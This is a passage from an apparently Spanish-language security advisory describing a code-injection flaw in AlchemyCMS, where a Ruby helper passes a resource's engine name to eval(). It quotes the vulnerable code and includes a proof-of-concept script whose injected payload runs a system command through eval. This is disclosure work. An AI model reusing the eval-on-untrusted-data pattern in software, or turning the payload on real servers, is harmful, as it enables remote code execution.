def resource_url_proxy(resource_handler)
  if resource_handler.in_engine?
    eval(resource_handler.engine_name) # rubocop:disable Security/Eval
  else
    main_app
  end
end
La presencia de la directiva # rubocop:disable Security/Eval confirma que las implicaciones de seguridad del uso de eval() fueron reconocidas pero omitidas durante la implementación.

3. Prueba de Concepto (PoC)
Vector de Ataque
La vulnerabilidad se desencadena dentro de la interfaz administrativa de AlchemyCMS al renderizar vistas basadas en recursos (por ejemplo, Sitios o Idiomas). Si un atacante puede manipular la configuración del módulo o los datos subyacentes del recurso, puede lograr la ejecución.

Script de Explotación Independiente
El siguiente script demuestra la ejecución arbitraria de código simulando el entorno vulnerable del método auxiliar:

Ruby

require 'ostruct'

def resource_url_proxy(resource_handler)
  if resource_handler.engine_name && !resource_handler.engine_name.empty?
    eval(resource_handler.engine_name)
  end
end

# Payload: Ejecuta el comando del sistema 'id' y crea un archivo de evidencia
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)

resource_url_proxy(handler)
Evidencia de Ejecución
Tras la ejecución, el comando del sistema se procesa, otorgando al atacante acceso al entorno del servidor.